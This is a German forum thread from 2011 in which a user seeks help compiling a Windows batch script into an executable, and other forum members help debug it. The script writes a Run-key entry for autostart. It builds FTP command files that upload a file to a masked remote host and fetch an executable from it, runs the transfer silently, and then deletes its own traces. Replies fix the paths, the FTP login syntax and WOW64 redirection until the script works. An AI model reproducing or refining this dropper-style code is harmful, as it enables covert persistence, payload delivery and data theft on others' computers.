myGully.com

myGully.com (https://mygully.com/index.php)
-   Programmierung (https://mygully.com/forumdisplay.php?f=67)
-   -   Bat 2 Exe (https://mygully.com/showthread.php?t=2199193)

bl4cksh4rk 05.01.11 14:39

Bat 2 Exe
 
Hallo Leute,

ich hoffe Ihr könnt mir helfen. Habe schon eine Reihe Programme durch aber keines konnte mich zufrieden stellen. Hier erstmal meine Bat:

Code:

@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Mein_Prog" /d "C:\testdatei1.exe"
echo open XXX.XXX.XXX.XXX>>"C:\dll.scr"
echo USER>>"C:\dll.scr"
echo PASS>>"C:\dll.scr"
echo BINARY>>"C:\dll.scr"
echo put "EINE DATEI" "EINE DATEI">>"C:\dll.scr"
echo get "EINE ANDERE DATEI" "EINE ANDERE DATEI">>"C:\dll.scr"
echo quit>>"C:\dll.scr"

echo open XXX.XXX.XXX.XXX>>"C:\install.scr"
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
echo BINARY>>"C:\install.scr"
echo get "testdatei1.exe" "testdatei1.exe">>"C:\install.scr"
echo quit>>"C:\install.scr"
ftp -v -i -s:install.scr
del "C:\install.scr"
del meinebat.bat

Er schreibt mir zwar die dll.scr und lädt auch die testdatei1.exe aber er tut das nicht in C:\ sonsdern einfach in dem verzeichniss wo die ausgeführte .exe gerade liegt. bsp.: sie liegt in C:\Downloads dann schreibt das prog die dll.scr+testdatei1.exe in C:\Downloads und das ist nicht der Sinn.

Ich hoffe Ihr könnt mir helfen

tha_specializt 05.01.11 21:55

ein "cd" vor dem Beschreiben der Datei könnte helfen

Lyteryl 05.01.11 22:30

Die Datei schon mal als Administrator ausgeführt.
Außerdem musst du die Pfadangaben nicht in Klammern setzten - glaub ich.

Benni1000 06.01.11 09:48

echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
Das wird so nicht gehen!
Ich habe vor kurzem ein ftp Upload-S***** geschrieben.
Und habe Festgestellt das das einloggen so sein muss:
echo USER deinusername deinpassword>>"C:\install.scr"

bl4cksh4rk 06.01.11 18:38

Zitat:

Zitat von tha_specializt (Beitrag 21739642)
ein "cd" vor dem Beschreiben der Datei könnte helfen

Scheinbar stehe ich mir gerade auf dem Schlauch. Wo muss ich ein CD einfügen?

Zitat:

Zitat von Lyteryl (Beitrag 21739785)
Die Datei schon mal als Administrator ausgeführt.
Außerdem musst du die Pfadangaben nicht in Klammern setzten - glaub ich.

Als Admin führe ich es sowieso aus :). Ich habe die Anführungszeichen weg gelsen. Jetzt bin ich schonmal einenSchritt weiter. Danke

Zitat:

Zitat von Benni1000 (Beitrag 21740751)
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
Das wird so nicht gehen!
Ich habe vor kurzem ein ftp Upload-S***** geschrieben.
Und habe Festgestellt das das einloggen so sein muss:
echo USER deinusername deinpassword>>"C:\install.scr"

Also das FTP S***** läuft bei mir so wie es oben ist.

Ich habs jetzt soweit hinbekommen aber seltsamerweise ändert das S***** in der Exe den Ordner um, sprich statt "System32" benutzt er jetzt "SysWOW64". Auch beim Registry-Eintrag da nimmt er "WOW6432NODE". In der .bat ist alles wie ich es auch eingetragen hab "System32" halt. Weiß jemand woran das liegt?

haze303 06.01.11 19:07

Zitat:

Zitat von bl4cksh4rk (Beitrag 21743126)

Ich habs jetzt soweit hinbekommen aber seltsamerweise ändert das S***** in der Exe den Ordner um, sprich statt "System32" benutzt er jetzt "SysWOW64". Auch beim Registry-Eintrag da nimmt er "WOW6432NODE". In der .bat ist alles wie ich es auch eingetragen hab "System32" halt. Weiß jemand woran das liegt?

Zitat:

Zitat von wikipedia
Das WOW64-Subsystem berücksichtigt auch andere wichtige Aspekte für die Ausführung von 32-Bit-Anwendungen. Das betrifft unter anderem die Verwaltung von Zugriffen auf die Windows-Registrierungsdatenbank (siehe HKEY_LOCAL_MACHINE\Software\WOW6432Node) sowie auf das Dateisystem, welche in den 64-Bit-Versionen von Windows geringfügige Unterschiede aufweisen.

Zwecks Rückwärts-Kompatibilität nutzt das Betriebssystem das %SystemRoot%\system32-Verzeichnis für seine 64-Bit-Komponenten. Bei der Ausführung von 32-Bit-Anwendungen werden Zugriffe auf Bibliotheken aus diesem Verzeichnis nach %SystemRoot%\SysWOW64 umgeleitet, wo sich die entsprechenden 32-Bit-Versionen befinden.

[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]

Viele Grüße,
haze303

germgerm 07.01.11 07:08

Zitat:

Zitat von bl4cksh4rk (Beitrag 21743126)
Scheinbar stehe ich mir gerade auf dem Schlauch. Wo muss ich ein CD einfügen?

Ganz am Anfang.

Code:

cd c:\workingdir

bl4cksh4rk 07.01.11 10:49

@Haze: Danke!

@GermGerm: Hab's jetzt hinbekommen


Alle Zeitangaben in WEZ +1. Es ist jetzt 07:18 Uhr.

Powered by vBulletin® (Deutsch)
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.